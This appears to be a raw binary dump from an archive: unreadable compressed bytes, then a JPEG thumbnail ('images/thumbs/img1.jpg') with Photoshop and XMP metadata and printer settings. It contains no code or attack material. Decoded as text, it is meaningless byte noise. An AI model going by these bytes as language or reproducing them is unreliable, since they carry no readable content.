�{�h�g��\@@��*q0�乣���ˋB8Գ�����67Ɓ�Dѫlb0���G�1��iX��|Y��s��M[�{�)|p�U8��GU��^�ՠA8V�q�ʀ�>q�A�����6�U��B]G�DwѠY9�7�5d�T�X�(��#p�9ym�]�MQf�>Q��,`,l�o{W"59��ٵ^�0��4��OP�y�Q4��v�;�)�0��N�R��i_\�<��^�eE���x�|TO��P�1�.M,����;���r���kc+�ߜ��I�Q)�Q��}�dM.��cqy��t0�3�e�J�����Pd$��)qbGC��Ւ�j�,k=��3x@���/3e]�G�#�*Ex�¶�-��Y����U�W��4x|tON]��"�}�Y�K�ly�a���}���2�6�>:��9u2o�2b}V��:,�I�ͅ��������\��
��z^��:��������q���(�����\�xOf�&���Wcjʘ����� �y��0�R)�������h[ϰ~�V�Z0B�Mؓ�Z]\�y��:��p�ew�[%^7
zc'dMj�0Dͥ����{5��ʟ��v�4}պ/l+{�:qe\e��(�'��2h�:�-~��'�֋�B+L�6T�M�;��a>�S����h��?�{'���	�MQ0�ح��3�z�,���v��2�c���W��կfM���j2l#��E"mQ�*���_x���2���j�m�Ya[���U^�X�h;��$�P��ܤUTܶ�ti=��$����0�I�^�*)4�	��Fƒ����Ғ��{#��R��x�B5.��(X�w�ʂ�{@l5m��6��G�J7����xEf (�&����T�3 ���I�Iأ&��;��G����X}M�fV�Y*}�z_���5Tu��bw�=�J��"�)L��,�i��K./
"�����䱹�<50�ܟ=�Ƚw?7"N_2��7�Ҩ�}���F8�6S���L�X� �L�6Qf8n6QsJ�3����N�K�Հ��0��~�~9�rՅK�~�Y�֣�:���d�����}�r�;��@Q�UE�TvQ����� ـaq�ĭZ�|����#7���)�\ȈW=�vJ�� �l�P�^�>�Qs�aF�Q6.�{�i;1^P:�h����#oa�v֖�'1��1�^-,�����Z���w�aq��D�sj5$Ydqe[��(�Nie9�c�Ŗ�5��H�s}PyM��ēE��_?i�r��n�;M\Ѕ[��$�Ee���,Ze�3"(�$��J
<�Q���p��a
�����o��<0��2�����m<j�܌����T:Y��h�+bNnj�sP]R͂L��&����������!4x�-L�f�c�dLM� ��-I��ƊX��^��QE�
=�q�↣�]Bsɚ,�X"�\)�nw��u��y�pі)��x�҇(�퓻��3��7'i��iX�k_mb~!J�6�X�E�q5�@TR��Q��ݤҼ����0]��;NeI�YgB�d`ex���&�\���\ŧ�sي5L�GT�42l����\�rՓR�
�c�^�@;`�>��g�ޓN�g&�~�KԮT
�.�aۓ�tIڦǢ������Ƽ�o�aV&���k���<���E�~�K��s�L��̓�_���L�Ö|��?�(E��8@*-��~���{SG�8�͑2�"�/�&l׹�Sr�O��V��˃k�|��,�X��X\��h�Fi�Q��rwV0��X���5���S{[V3JIM$=dp�;�?��2�y�4�����-;���&���H��]�Y{㤇Q''�zPõ4Nj���(6^\��B6"����V,��rٷ�ݯ�˒�[%��!�r*�|���M��VLàZ�z����\U�\W��\ս�Y$[�� �Qn���0�"e-�(���{��(���`;Lg�FF��y���6���~e^2AOY�U�	���I�tA#:Q�6Q��������(|<�Ld_��8i4��
㌯�(��T��V��훣j�ړc�~���~�$nI�2J��s��7�C�V;
a�Qv=B�.��U�$�5�ț��Yp^�q�[�G�5����� �f�B@��q(���$����ԣ��r�l
ƙN�=��櫜ȉ�1�Ż���Y���c��E	�O�������m��ǔ,�@z�\�Ŏ$޸e?.49�a@L2��=u�y̽�6��H��;�%%9B@�2q�#o���?�F��Y�nUd����ҍn���n>mg�S�4�6�c��7��=��7�Nf�}���$�ߩ|^z�Mhb�l�Z:}(ʝ�;[�"���x�-��qWT@8Q?���+o��
LVg�����r��W�F�=6�(�q,s���v��ePQk
`��>mT�3����'nh"o�N�X`���,Gh�ՅXm'
D'�,:��5��I��I��e�]:�sT���ED����æ��?�)e�}$�c�<N��э4�p�E�ɾ�<G�h�"a�Z<a#X��':o�6�UhK8*�پ���㯔SNF���V΋�+z6����%����/ᦎ$3�lFE=�o'��c,�"��K��2�Ժ�l�J͌i)��o�I�:2�Z06ux��le�h����7��Z'j�:�!bA7˸�N\Ҍ�z,���>�~�]uz�-<*H�!��j��R�%�E�6ۜY���&
.Ɛl�f,I��[U�aK<ڨ�v�f(�&��Sn�q��"�6��1�6<(��,1�]�g��8
!j�|���Qv$�M)q�9�~�

�޶;p��\���SH�*�"@R.�uJ�����G��w;Gk5r!?E��R^-Ke������p��y�;O���F�����h#R��E7N/�SO3#c$�RitMh�
 ;}Z�I�ެ�)��,{5ŷ���+��\
��m]M�c�Ȱ��t[�1�����	�_���H��[��1�i�7�я�PE��k���|™���I����(���*���N��j\]��4mA��9�"��n�S�:~F�pm�K`�>�Ө4�ı�T�q�;1��#���x��r��Tz-�=��9C�;O�VT'��iJ�Gh)�ϥD���;�*�8��6%hri�����@H��~ׂ�� ��I{�OC��X�
��W}���_w�Q��V
��-� �s�=�v����O� B6�~�{���A�ZF���ǴvS���s�M�]�ލ�ij������-7�~&=f�Zʻ<箳�i�U�H2�;r�W�tc&��'�!�mAFX��X
�)����0��z�v�U��q}՚N��kI�3u��W�쾵
��Er�GO1#�_�0���67�0s���q�1[HP_�w���徶iL
1�����ju
��k��AM4��ڊ�m�����D���Z>�׭��i�۞���:}L�wss��hD��	�|�QI6�(Q��v��El����""�ݦ�/g�¹��Ǧ\K�!�y>�L[x}
�֎8ŕF��'
�
®qj��†'us% ��B�C�/�
�Y1=Uv6U�M��mn�M��G�EH����
 �Ф9@�X�th?��L�HcN)���^!��^��+T~�َ�:�A	��q3�0�J/����_��q�of8*��;����M�
n�{R���}"-4e���=j��ˑ�`�4:�SN�x(h�
T	�O|���7�FFr�%�Q�.޺���a�Ƌ��!��d�v���f��<��\�ʚx���r�RC�ѕ���X�eVs��4n�IL��0�[�#��?��l^A�rv���n[`�6ڳ�l�kn"k�$�c��D�tp`�a�ݗ��p/�_v�p�d;܏٭d�[�S��5^&/X���i�G�|�4��A6��H��Q��e�k����Ɲ��L�/u7
��V�W�
�u+�3�9oaF==�0ò(�c��5��ڬ+g��xE�NӰzT�h>�)�Kn7a��k��J9�rc�T�h�y�D�96�?l��j%�86gIK��u��d��d2��m}x�Z�avc�ެ��Ƹ_����P�c�.�3�RQ�s;wR��>qVe~F�	G��yȈc�1�Z�6?f��Ŝ�'W5a���5,Ǫ���ȣ��Ѩ�j/3��Ua��q�`1���0������E�	 t�U�W��Eǃ;q�p	���pH��du�R@����4�Ʉ2�=B��E�`6�e��<.GyMX�;�@[�£��K*HG�"&�r�M��2��}Vᯢ|�)�'�v��$�����"�,{��4�{�E#6_6��)�B﫟�yP����6��U��¯��l�����I�,vĒ�+�_�K��\� �����Qk�3���rY�ܚ��4����huR\\\a�\���`7U�eY�Et��·�K��p �E��)��
&�xF��ʻJ)���I�J�(sa�I�z����n�r��p۲��I#��w��:�D�3n�q\j�ܝ�X6����ύ`*���q��Do6�?�馔�D�{Ʀ�+1���hͩR�C�>z�ۺ�7����
�m'
�ź��U�Z�Ќ���R�|���mn��Q����x���j�ܝ���V]�s�
B�y\�� (���}�L�@����;�G�����F����J�_��8���(�]l|���I���mZ@A;/Y����
�!���,�j-"���,ፉ��V���(����� ]���}g�PY�G&�]�:�K���1�f�;�$�tk���t~͐������_H0�JvF�&&-}��G���GU�Gg5$����x���|��+,�_�6�ȕ����B`�m�f��ʜG]D#K:��r�p���q�ETl�B�SOE�;i��
����\l`lhE�U�C���Z�i���V�ם�8����<���^�.�q������^p���w�c���m����d�R�1�r�z���̖�g�z���N����m�T���^_��I�%}��Ҧ�#�d#�[<_�ԣPO�����<TĮ`'u��Zh~U7��E�a��9<2`�"������a���O����J�1���?1�n�Go�m��d���6"�����a�����y����2N�1!�h�q�
g�m"�;oFVc���Yc{�v��H}hۂ��6��v�g����=����yF�o�����_niʘ���'ri��_�Vm$��lKF�$7��ޯ��iق�#+�{=��y�5pq&�����W���|B�H�R#c�.{|?YC�HP�1c���v2�YP��b�5���ye�W����Z��j����ڋ1�谦y�
c#��Z�X��5��a���{��;F�c) ����Z��Y�l�A�:�=���#���
DW��ݬ��(�7����/�T�����{՛ �0��O�VL@��I�p�uc��Vy"��T�U������(����xi^98��~�2&�k&���d��MNo��-y�+�`(�*ƅ�mXk
�\fm�=CgFT����v�-1���Ѭ�M�m���UU�g1W�t#�6a�+;����}�����~h�?b�1�d�I��<v�7�;�Q�b;�2�Y����{\u���'�N���}<x����PH$F�<��V���c�<�P�H�c�F�
0fI�+rv��4�i�o�Ml�?�r���}d�Є���V��F�Tph����PKn��l���9��~��|�Z-����j�Z3�H���%�fQ��
��lc=M�Y�����\[f�-�B�F4m�
��v��|�P�����>���Mfk��n�ͧ��=@��y�ć+~�w�u�[�k19����G�� ;A�1h�
[�ݤ�1�.lE�+':6����g*.y�;X�n�0�r�1#�[��*Y�>R|�e����y�L�Gt���Au(}e��t����i%"��"Օ��s��'����΁��\G�Xy0�W�>�V�ƓF�rv��ˈf���O���+]��f�W��Y^A:uH/�Um~�+�E���h�y[tr�~Z����M��[��AC���yYٷ��m�ښ����n�k~�c��Z��䃤�_��images/thumbs/img1.jpg000066600000150144151150443020010656 0ustar00���!ExifMM*�����(1!�2Շi�$
��'
��'Adobe Photoshop 25.1 (Macintosh)2023:11:13 21:28:47�0231�������rz(��HH���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�/�o�v; �^MB7t4�{��})��`#�~r�-u�eo!�y�����j�;��]$5�����w�%T
�ِ��� nsZ6�--�x��j�9],tݏ�m����{.s��6�c��I�����n�^UX$�NH�lȤ��-n�o���͍�K��U��}���������ݛ�D9��;k���X�A�c+���+mwr�ih ��T�����vPZ'N�oc��Rk6CGef�ޔַկ|��~�X��M�����Jl�[�����v>�]Q��CJ�--(�>�:��g�"K�������qڨ��]T:����'Hn���W�;�9���
y�U_R���*s	�B��c3pu�u�o�J�Ϭ�i������Hn�c֛C
�[��J���:���e��;�=6�
�F�׽��QS�Wg����*�e�s7��]��M��X��矋�{��3*�+�g!�E��VlDZ{s���Ӱ�/K���r+.�@1h����w�nE/e�l�^��.��}�*Ι��m����k�9��2˜,vE����>�����+��ىuͱ�;K���:G�K���"�^q�=GnQ{�K����K�{==��U!! x���`=?�I�aT]L��;�C�K�T�u�<E��m�{@k,s7=����;j��k��5�%��|c��s�L���8.oҏ�;=�8�N����O�"6�Zc�I��il�ȲƆ�ā�R����[�A�`Y[+xy�xR����៶��.=�O:�-LZ�kmp�mv���׺�7}/J�5�Y������u���ϣ�j9�Mm��v�y.�G�*
�����w�ik���A`f�س�NS�S��S��ɼힽ��1�����:�4Q���N����sfU7����KAl6
lo�G��>�2���-��1bu_q����e�4�2�S\�U]������࿙{�J]Z]'d�	��	܂^T��3=��j΂L!=��#u)�}�|
tz�X�]�c�41���B��9V�P�����Ē5)Ğ"���x�=b���􌫛4�<�%g6�Dcò��_\n���ah���x�ڮ=�.;_K=+ZX���+��������׊)� �oi;�!�=��k=]�Ǯ@�n�Πrn�-f�
\>���s�.>nO썍Ģ�m�K��=�]tWM~�6��~���NG�(z��?u�8��%�5��[]Y�cb7ө�7
\��o���Mr�he�o���fZ�-t�u�־��C��K���r�Ȧ�
�y%�>�~��s�7�yA�B�w��<��.�h��8��W�՞\#��8X�}�-��{�Y��I������WS^���8��6�d��-~��rs���ٲ�42���^�-t�����Wm��Ce����FOO��)���t6��un�m�^ͭ�o��O�k�8.��ktG�{+q��M�7,���q*G����RX=X���㟎��]���;��	��4ms��']�>�h�},��l`��d�];�!�kZ\=N�����W��e����z�f%ƒ�]�Y��Z�uf�Yf�A���3�Ց�����:�F&;M$2ʪ|����9�k�M���A��V�+$�������[E�7^��c����	s����F���@Zה���	�L�O�z��}�#t�� m�[���uk�Y醶H	�c�t���W�E�f ��U�:.>[�����,1�2g�$FF2��W��X���Vx�R�jݽ��ֵܬ܌�lanᤫ�Y��\��j��w�wU�:�����h`f�;�e��=C��p��
(����t��t68��	R{6ꙵ��B}��޺
f�K�$D���psh�cE�DZ�;�m��Y\�5�f��,��"b`��K��/8ێݵ��$r��3�bxH��G���G�⽺��}c�?>���f��e�5����z�o�[���~�����#�f?���;}޳�;,~���9�Qm��=g~��Bջ�/~�c��C=ŭ!�E��n=N����y׷�1��_���wŔcV�Z�W.�����?���B���#�	2>;���:v���2*yV5ť�ګ��Q�k�&��g�o�}�?���u�gO�n쌧���H����o����H��\�߯a�®�z^!�T�Zlw����Z}�����NǷe~�?F�=�Y��6~ϭƪ)�=�˲�nFE�J�
����]�?�Y��]~����L]���٠k�r�}B϶<e�{���~�n.;w�[[w{��,��#�j7��R\�]V���!��R�L��
�[CX~��M�f�s�,�[���!̲���c��~��z9#�`����?�4�S�^ģ$(
�!��᭳Ն�:A�$�H6���KZ@��\g��ݲ�È'[��o�+��48�t{����l��������������rǾ�P�1��8[�u<�,����q�s9.vM��� �ӈҾ�b��[��T���7VH?�=��#X�}w���U�5s3������Y�������r]�ۥՐ�|Zw�K������[�̧Wa��g!���� t�������Z��@PX�Z�c�\5&}�st	KN�Q�[�����P^eƆ�O���ӽv��<��ݨ�X��~9��f�33)�~65��n��V���umsX�HKIU�0��ua�s�$�o����T��d:@:�+�v6Ma���Xx���sd~�w��V�(s+u�����Lt�	���3�նb��t<w��Q���B�����8���sa�UU�o���dW��X���ԯ�9���5Ĵp	%{��ޟWM�����6�9�N��*�p}_�@����!GGF�z�q��$�9���s��n��~�ǹp]��OR�?V:~�K[gX������>�o�w~��_�z��XgL���,7>�f=
��nq���˜��w��^z�ΑӬ�ʸd�<���,��
��f�k]�b�G[�G�_z}d�}J��S�K+s�nH��A~�Q����w�T���΍�q�kh}K�f=��'s��Is�cb����V��-�l{���[S�����?��������+�V���;/ũ›i��7lh�m
nN]�zF�z�ߒ���O��i�ᑕ�nV;#8Z�!�G�_fs��sK�X�D;��������鬊rYUNs�G�xϵ�����}8�ks��^����w����O1��.�����Q��`�j�Cc`ς���c4\�0,`����Jř׹��V�~��9���Is����}]���]�_�� 9.�����rzw.��*`������u����ί�w�Ait\\��w�iif�8m'C�N�
�נ���VD�B{���[~�uˮ��Sn%�s�{x,q.h��j?��,�/g�����~��m��
8��M�&�`��t��m~�2-�o��b�_�ӆF.Y�Q�ͰeSk���JXMG����Z�c�vl��@�b���k}d^��ڭ�ԧ���5��H���;+��p˷Ѯ�lh�2�����Ռ��\�J�S�*��By47t���dž�i�~Չ��v���]i��s��uю�/Է"�jn�+~U������Sbg�[�����Iy��]��{�����O±���f5�ug"@�}������������w����]i�œvD��~O�F����d2�+�}*��KX���7�e�2t:�>�0y^���u�\<�]S���ɪƖ�W@9Vnk�5�b���Y7?�ȿ)�r.˾�u�n��Z��_W]����ާ��۳Ҫ����k��6�lk>�6?J�W���|,wfu�͖5��m�6{
��q���g�"p�6d8MP�Y(�7��k�_�+��t�K"�����<�<zvw��t9Է�/�!cu@�<���H�e��]R����Y����c�us����79m㶓�r2-ml���i��>�_Ss���w�OG���6])��=�V�
�B�[��Kki�c�-{���ƭއ��ֺ������s��I2~�����EXVoũ��9}��{���޹&�v�}�n?�q���������d<5��#��?�]��u���ր�Rv���O�B��)�;���>�t�N=�L�<���s��Y�o��T~�G��Z?t��++�:��^����+���]��I?�D����d�*��ˏ���*?f��O�R�Ud;�t�$`�dé�WH�ܗ4�����,�����)��O�H�z�񁙃�^O�>�E��cY��%������O�C�fu胟Q?�'`6�o�C��Zu�jyL�A
�K�`N���ߣ���S��f+��csD�F�j,�����q{�!s�IŰ�h4��;��z�C`��]�ߚ����הdl���I��yp��~-���n�A�Gj#V9Q��3&�Q���*�Z�fͮ$�[2K��K����,ͯ����/r�O���8N/��m�Ė�A�����&�c"�0�	���\��kE�Ĵ�e��-����s�c��+s�}u�݉sjwQu���8�[��S���Y���wO��:���K@ʢ�ݭk���F��6{7�W��g�\�����W��f){�3Z�)c̺����Kn?�W�fl�}����'�AԾ��f�x���։{�~�4�������7�j��u�.ù�k�����ǽ����������,��,6n���7H>�H��~j�=��%ϵ��<��`n�z�G�k?1G�Ë�Փ���F�x�X�cm
5�쇸������3���I�jk�	3����_�d	ﯹ��R���i=�~
h
@�b�П��E���������m���?ı��y��D講�x'�u����,d���2�X�'��(X�"�q��i2㮠�>�~^�E��pϼI��aw��I0�W���o�}�����c�#.?�,��.i$�K�{����Nm��Sm+���Y��ż�nc�^"�d�:����T�è3mni����c�+����ÅE]''5�:�����ʀp�߈�?E���g�O�OMy�I��K��{'�]-�=[���#�Pl���|��IJ)a�Q��

q4�O�,䓆�i�����k��Gh
kg�V�0�.����O��`����Photoshop 3.08BIMZ%G8BIM%��}�Ǿ	pv���N8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTHP Deskjet 3540 seriesprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM@@8BIMD@@8BIM8BIM=��img1��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM8BIM��g�� ����Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�/�o�v; �^MB7t4�{��})��`#�~r�-u�eo!�y�����j�;��]$5�����w�%T
�ِ��� nsZ6�--�x��j�9],tݏ�m����{.s��6�c��I�����n�^UX$�NH�lȤ��-n�o���͍�K��U��}���������ݛ�D9��;k���X�A�c+���+mwr�ih ��T�����vPZ'N�oc��Rk6CGef�ޔַկ|��~�X��M�����Jl�[�����v>�]Q��CJ�--(�>�:��g�"K�������qڨ��]T:����'Hn���W�;�9���
y�U_R���*s	�B��c3pu�u�o�J�Ϭ�i������Hn�c֛C
�[��J���:���e��;�=6�
�F�׽��QS�Wg����*�e�s7��]��M��X��矋�{��3*�+�g!�E��VlDZ{s���Ӱ�/K���r+.�@1h����w�nE/e�l�^��.��}�*Ι��m����k�9��2˜,vE����>�����+��ىuͱ�;K���:G�K���"�^q�=GnQ{�K����K�{==��U!! x���`=?�I�aT]L��;�C�K�T�u�<E��m�{@k,s7=����;j��k��5�%��|c��s�L���8.oҏ�;=�8�N����O�"6�Zc�I��il�ȲƆ�ā�R����[�A�`Y[+xy�xR����៶��.=�O:�-LZ�kmp�mv���׺�7}/J�5�Y������u���ϣ�j9�Mm��v�y.�G�*
�����w�ik���A`f�س�NS�S��S��ɼힽ��1�����:�4Q���N����sfU7����KAl6
lo�G��>�2���-��1bu_q����e�4�2�S\�U]������࿙{�J]Z]'d�	��	܂^T��3=��j΂L!=��#u)�}�|
tz�X�]�c�41���B��9V�P�����Ē5)Ğ"���x�=b���􌫛4�<�%g6�Dcò��_\n���ah���x�ڮ=�.;_K=+ZX���+��������׊)� �oi;�!�=��k=]�Ǯ@�n�Πrn�-f�
\>���s�.>nO썍Ģ�m�K��=�]tWM~�6��~���NG�(z��?u�8��%�5��[]Y�cb7ө�7
\��o���Mr�he�o���fZ�-t�u�־��C��K���r�Ȧ�
�y%�>�~��s�7�yA�B�w��<��.�h��8��W�՞\#��8X�}�-��{�Y��I������WS^���8��6�d��-~��rs���ٲ�42���^�-t�����Wm��Ce����FOO��)���t6��un�m�^ͭ�o��O�k�8.��ktG�{+q��M�7,���q*G����RX=X���㟎��]���;��	��4ms��']�>�h�},��l`��d�];�!�kZ\=N�����W��e����z�f%ƒ�]�Y��Z�uf�Yf�A���3�Ց�����:�F&;M$2ʪ|����9�k�M���A��V�+$�������[E�7^��c����	s����F���@Zה���	�L�O�z��}�#t�� m�[���uk�Y醶H	�c�t���W�E�f ��U�:.>[�����,1�2g�$FF2��W��X���Vx�R�jݽ��ֵܬ܌�lanᤫ�Y��\��j��w�wU�:�����h`f�;�e��=C��p��
(����t��t68��	R{6ꙵ��B}��޺
f�K�$D���psh�cE�DZ�;�m��Y\�5�f��,��"b`��K��/8ێݵ��$r��3�bxH��G���G�⽺��}c�?>���f��e�5����z�o�[���~�����#�f?���;}޳�;,~���9�Qm��=g~��Bջ�/~�c��C=ŭ!�E��n=N����y׷�1��_���wŔcV�Z�W.�����?���B���#�	2>;���:v���2*yV5ť�ګ��Q�k�&��g�o�}�?���u�gO�n쌧���H����o����H��\�߯a�®�z^!�T�Zlw����Z}�����NǷe~�?F�=�Y��6~ϭƪ)�=�˲�nFE�J�
����]�?�Y��]~����L]���٠k�r�}B϶<e�{���~�n.;w�[[w{��,��#�j7��R\�]V���!��R�L��
�[CX~��M�f�s�,�[���!̲���c��~��z9#�`����?�4�S�^ģ$(
�!��᭳Ն�:A�$�H6���KZ@��\g��ݲ�È'[��o�+��48�t{����l��������������rǾ�P�1��8[�u<�,����q�s9.vM��� �ӈҾ�b��[��T���7VH?�=��#X�}w���U�5s3������Y�������r]�ۥՐ�|Zw�K������[�̧Wa��g!���� t�������Z��@PX�Z�c�\5&}�st	KN�Q�[�����P^eƆ�O���ӽv��<��ݨ�X��~9��f�33)�~65��n��V���umsX�HKIU�0��ua�s�$�o����T��d:@:�+�v6Ma���Xx���sd~�w��V�(s+u�����Lt�	���3�նb��t<w��Q���B�����8���sa�UU�o���dW��X���ԯ�9���5Ĵp	%{��ޟWM�����6�9�N��*�p}_�@����!GGF�z�q��$�9���s��n��~�ǹp]��OR�?V:~�K[gX������>�o�w~��_�z��XgL���,7>�f=
��nq���˜��w��^z�ΑӬ�ʸd�<���,��
��f�k]�b�G[�G�_z}d�}J��S�K+s�nH��A~�Q����w�T���΍�q�kh}K�f=��'s��Is�cb����V��-�l{���[S�����?��������+�V���;/ũ›i��7lh�m
nN]�zF�z�ߒ���O��i�ᑕ�nV;#8Z�!�G�_fs��sK�X�D;��������鬊rYUNs�G�xϵ�����}8�ks��^����w����O1��.�����Q��`�j�Cc`ς���c4\�0,`����Jř׹��V�~��9���Is����}]���]�_�� 9.�����rzw.��*`������u����ί�w�Ait\\��w�iif�8m'C�N�
�נ���VD�B{���[~�uˮ��Sn%�s�{x,q.h��j?��,�/g�����~��m��
8��M�&�`��t��m~�2-�o��b�_�ӆF.Y�Q�ͰeSk���JXMG����Z�c�vl��@�b���k}d^��ڭ�ԧ���5��H���;+��p˷Ѯ�lh�2�����Ռ��\�J�S�*��By47t���dž�i�~Չ��v���]i��s��uю�/Է"�jn�+~U������Sbg�[�����Iy��]��{�����O±���f5�ug"@�}������������w����]i�œvD��~O�F����d2�+�}*��KX���7�e�2t:�>�0y^���u�\<�]S���ɪƖ�W@9Vnk�5�b���Y7?�ȿ)�r.˾�u�n��Z��_W]����ާ��۳Ҫ����k��6�lk>�6?J�W���|,wfu�͖5��m�6{
��q���g�"p�6d8MP�Y(�7��k�_�+��t�K"�����<�<zvw��t9Է�/�!cu@�<���H�e��]R����Y����c�us����79m㶓�r2-ml���i��>�_Ss���w�OG���6])��=�V�
�B�[��Kki�c�-{���ƭއ��ֺ������s��I2~�����EXVoũ��9}��{���޹&�v�}�n?�q���������d<5��#��?�]��u���ր�Rv���O�B��)�;���>�t�N=�L�<���s��Y�o��T~�G��Z?t��++�:��^����+���]��I?�D����d�*��ˏ���*?f��O�R�Ud;�t�$`�dé�WH�ܗ4�����,�����)��O�H�z�񁙃�^O�>�E��cY��%������O�C�fu胟Q?�'`6�o�C��Zu�jyL�A
�K�`N���ߣ���S��f+��csD�F�j,�����q{�!s�IŰ�h4��;��z�C`��]�ߚ����הdl���I��yp��~-���n�A�Gj#V9Q��3&�Q���*�Z�fͮ$�[2K��K����,ͯ����/r�O���8N/��m�Ė�A�����&�c"�0�	���\��kE�Ĵ�e��-����s�c��+s�}u�݉sjwQu���8�[��S���Y���wO��:���K@ʢ�ݭk���F��6{7�W��g�\�����W��f){�3Z�)c̺����Kn?�W�fl�}����'�AԾ��f�x���։{�~�4�������7�j��u�.ù�k�����ǽ����������,��,6n���7H>�H��~j�=��%ϵ��<��`n�z�G�k?1G�Ë�Փ���F�x�X�cm
5�쇸������3���I�jk�	3����_�d	ﯹ��R���i=�~
h
@�b�П��E���������m���?ı��y��D講�x'�u����,d���2�X�'��(X�"�q��i2㮠�>�~^�E��pϼI��aw��I0�W���o�}�����c�#.?�,��.i$�K�{����Nm��Sm+���Y��ż�nc�^"�d�:����T�è3mni����c�+����ÅE]''5�:�����ʀp�߈�?E���g�O�OMy�I��K��{'�]-�=[���#�Pl���|��IJ)a�Q��

q4�O�,䓆�i�����k��Gh
kg�V�0�.����O��`��8BIM!WAdobe PhotoshopAdobe Photoshop 20248BIM��
Hhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="B012AED4E69558D4CFB285F8397D2845" xmpMM:InstanceID="xmp.iid:6149f37b-5967-427c-bbd1-aade721fcf29" xmpMM:OriginalDocumentID="B012AED4E69558D4CFB285F8397D2845" dc:format="image/jpeg" photoshop:ColorMode="3" xmp:CreateDate="2022-12-01T17:59:50+05:30" xmp:MetadataDate="2023-11-13T21:28:47+05:30" xmp:ModifyDate="2023-11-13T21:28:47+05:30"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:6149f37b-5967-427c-bbd1-aade721fcf29" stEvt:when="2023-11-13T21:28:47+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>C49A70113175F4181BB9A2B599DDA741</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��!Adobed����
����"���! 10"32#@ABP$4%5!1"2AQB 0aq�Rbr�#3@������CSc���s�����$45���TP��Ddt�ᄤ��!1 @AQ0a"q�2BRP�br����Ѣ�����>76�v"�ru�����C<T2�W���v𬌭�~���Ѯb�jj�T[�DZkm����Yi]o&ZP�}ˊ�X7-`��,s�ȭ�eW��:�Wr…d����meU�4�Fˏ�������}ڴdٱwf`���ة[㷤�8d��uV���E�ު�"�%TP�˷K�WX��Vc�TG#�$����B�u��3j�t�o>'j�l��Cc�:Q5�p��D��k��fcS޿��T˃���0A;j�OSF=L�>�C��3�{D�seԝJ��٥"9Z�������;�?�[P�Fq7���6�:�W/��ò��n��Uy
h�e(r�2�(o�(T��W��B�mȒr�vά���)a������G��d^��1���F8iR�V�������1U�r��ů��R�;�1P�<�%
�^9�J<�ӴC`&Uzt��ڍӮ��]������ҽ�wZ���:1�d����t��e�t�e\��Zӂ�m&h�7.���Q�T���N�nd�'Y�욵�"6�*SL���5d��}l�rjz���05U���EF��"�
i+*v50�ne��cP%��p� 5|h�^�0F���>�ض�t]ZM3y�]f�f���o���:2�Va���km�.��������X��FIrV�Y�j@��}��ƌN6�f�b�����e�ᕐ4�*雇�s��y]P:`M�
p�5�b"�H���1v�*d���"�ҽ�'(
G  ��[��\Z{��κ�,�/�G5�}|���N���3UVJ�gf�sQ@��`��i#|T���(�h���'TѳE���W8��4�Hn����ϲ��x��D�Ԧ5�B+U�A�5E"�d#si�
ƣ��G �sn��[�aH���Z{�M�MU���#��E��3 ��u3��W&�ގ�F?;���Mx�e&5��k$E&���6y��MqPT�@x;rUt��$��D���X�w6(ѱF��>���9]�C���jТThA
�1DV�4i��������M��wY��p��Os2x�����C.���k���>I�έm�ao�����y�c�V^�}�̕�Lu����Fj��t�sn�KN�D�]X�<R�b��*�*��[k���Od��n�Ւ՛ez<��I��7ih%�4����z"�`��TLQD��{V����
